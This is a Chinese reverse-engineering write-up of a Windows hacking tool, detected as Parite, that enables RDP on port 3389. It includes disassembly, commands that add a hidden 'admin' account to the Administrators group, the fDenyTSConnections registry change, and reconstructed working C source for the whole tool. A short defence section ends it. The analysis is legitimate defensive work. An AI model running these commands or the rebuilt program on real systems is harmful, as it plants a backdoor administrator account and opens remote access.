取证分析之逆向Windows开启3389工具

1、程序信息

MD5值:58946C2FE49563591EBE0D61F457DE0A

大小:178 KB (182,526 字节)

病毒家族名:Virus.Win32.Parite.a

分析的目标是看有没有啥后门,还有这个黑客小工具是怎么实现的。

2、大体实现行为

2.1、修改注册表键值

image

作用是开启3389端口

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections

type:0x00000004
datalen:4
data:
00000000: 00 00 00 00                                     ;

2.2、创建用户

image

添加用户

"net user admin admin123 /add"
"net localgroup administrators admin /add"

3、逆向代码

3.1、搜集信息

1)查壳

image

2)导入表信息

逆向这类几百KB的程序是很轻松的,通常病毒文件并不大。单步调试也没有几次就跟踪到Main()函数了。

image

3.2、单步调试

不知道是加了什么壳,XOR循环解密后续的汇编代码。

00404000  68 7C3D4700     push 0x473D7C
00404005  58              pop eax                                  ; 3389.00401018
00404006  68 18404000     push 3389.00404018
0040400B  5A              pop edx                                  ; 3389.00401018
0040400C  68 C4060000     push 0x6C4
00404011  5E              pop esi                                  ; 3389.00401018
00404012  310432          xor dword ptr ds:[edx+esi],eax           ; XOR解密后续代码
00404015  83EE 04         sub esi,0x4
00404018  75 F8           jnz short 3389.00404012
0040401A  90              nop
0040401B  90              nop
0040401C  E8 7D010000     call 3389.0040419E                       ;吐出来的代码
00404021  0000            add byte ptr ds:[eax],al
00404023  0000            add byte ptr ds:[eax],al
00404025  0040 00         add byte ptr ds:[eax],al
00404028  0010            add byte ptr ds:[eax],dl
0040402A  0000            add byte ptr ds:[eax],al
0040402C  0012            add byte ptr ds:[edx],dl
0040402E  0000            add byte ptr ds:[eax],al
00404030  fe              db fe
00404031  1800            sbb byte ptr ds:[eax],al

跳过加载程序的的流程。新建账户、注册表修改流程都在一个函数中。看出来作者已经讲函数封装好,只需要传值进去实现相对应的功能。

00401026  /$  55            push ebp                     ;  主要功能实现函数
00401027  |.  8BEC          mov ebp,esp
00401029  |.  68 01030080   push 0x80000301
0040102E  |.  6A 00         push 0x0
00401030  |.  68 01000000   push 0x1
00401035  |.  68 02000080   push 0x80000002
0040103A  |.  6A 00         push 0x0
0040103C  |.  68 01000000   push 0x1
00401041  |.  68 04000080   push 0x80000004
00401046  |.  6A 00         push 0x0
00401048  |.  68 00324000   push 3389.00403200           ;  net user admin admin123 /add
0040104D  |.  68 03000000   push 0x3
00401052  |.  BB C0020000   mov ebx,0x2C0
00401057  |.  E8 24020000   call 3389.00401280
0040105C  |.  83C4 28       add esp,0x28
0040105F  |.  68 01030080   push 0x80000301
00401064  |.  6A 00         push 0x0
00401066  |.  68 01000000   push 0x1
0040106B  |.  68 02000080   push 0x80000002
00401070  |.  6A 00         push 0x0
00401072  |.  68 01000000   push 0x1
00401077  |.  68 04000080   push 0x80000004
0040107C  |.  6A 00         push 0x0
0040107E  |.  68 1D324000   push 3389.0040321D           ;  net localgroup administrators admin /add
00401083  |.  68 03000000   push 0x3
00401088  |.  BB C0020000   mov ebx,0x2C0
0040108D  |.  E8 EE010000   call 3389.00401280
00401092  |.  83C4 28       add esp,0x28
00401095  |.  68 01030080   push 0x80000301
0040109A  |.  6A 00         push 0x0
0040109C  |.  68 00000000   push 0x0
004010A1  |.  68 04000080   push 0x80000004
004010A6  |.  6A 00         push 0x0
004010A8  |.  68 46324000   push 3389.00403246                       ;  SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections
004010AD  |.  68 01030080   push 0x80000301
004010B2  |.  6A 00         push 0x0
004010B4  |.  68 04000000   push 0x4
004010B9  |.  68 03000000   push 0x3
004010BE  |.  BB A4060000   mov ebx,0x6A4
004010C3  |.  E8 A8020000   call 3389.00401370
004010C8  |.  83C4 28       add esp,0x28
004010CB  |.  6A 00         push 0x0
004010CD  |.  E8 37000000   call 3389.00401109
004010D2  |.  83C4 04       add esp,0x4
004010D5  |.  8BE5          mov esp,ebp
004010D7  |.  5D            pop ebp                      ;  3389.00401018
004010D8  \.  C3            retn

建立用户和建立用户组都是封装了同一个函数call 00401280,使用CreateProcess函数执行了增加用户、添加用户到管理组的命令。

image

修改注册表,使用RegSetValueEx修改了HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\fDenyTSConnections的值为0

image

3.3、还原C代码

VC6+Win7(x86)

// open3389.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <stdio.h>
#include <windows.h>



BOOL excute(LPSTR lpCommandLine)
{

    PROCESS_INFORMATION ProcessInfo;

    STARTUPINFO StartupInfo; //This is an [in] parameter

    // ***********************
    // pipe
    // ***********************
    HANDLE hStdInput, hStdOutput;
    SECURITY_ATTRIBUTES SecAttr;
    SecAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
    SecAttr.bInheritHandle = TRUE; 
    SecAttr.lpSecurityDescriptor = NULL; 

    BOOL ret = CreatePipe(&hStdInput, &hStdOutput, &SecAttr, 0);


    ZeroMemory(&StartupInfo, sizeof(StartupInfo));
    StartupInfo.cb = sizeof(StartupInfo);
    StartupInfo.hStdOutput = hStdOutput;
    StartupInfo.hStdError = 0;
    StartupInfo.wShowWindow = SW_HIDE;                                  //hide
    StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;  // hide


    BOOL bret = CreateProcessA(0, lpCommandLine, 0, 0, NORMAL_PRIORITY_CLASS, 0, 0, 0, &StartupInfo, &ProcessInfo);
    if(bret)
    {
           WaitForSingleObject(ProcessInfo.hProcess,INFINITE);
           CloseHandle(ProcessInfo.hThread);
           CloseHandle(ProcessInfo.hProcess);

    }
   return bret;
}


BOOL reg_set(HKEY hKey, LPSTR lpSubKey, LPSTR lpValueName)
{
    HKEY phkResult = NULL;
    DWORD dwValue = 0;
    RegCreateKeyEx(hKey, lpSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
    RegSetValueEx(hKey, lpValueName, 0, REG_DWORD,  (CONST BYTE*)&dwValue, sizeof(DWORD));
    RegCloseKey(hKey);

    return true;
}


int main()
{
    excute("net user admin [email protected] /add");
    excute("net localgroup administrators admin /add");
    reg_set(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Terminal Server","fDenyTSConnections");

    return 0;
}

4、防御

  • 1)特征码扫描
  • 2)监控net、net1运行

为您推荐了相关的技术文章:

  1. BlackHat 2016 回顾之 JNDI 注入简单解析
  2. 漏洞检测的那些事儿 - 从理论到实战
  3. 利用 Python 特性在 Jinja2 模板中执行任意代码
  4. 从反序列化到命令执行 - Java 中的 POP 执行链
  5. 服务端模板注入攻击 (SSTI) 之浅析

原文链接: xz.aliyun.com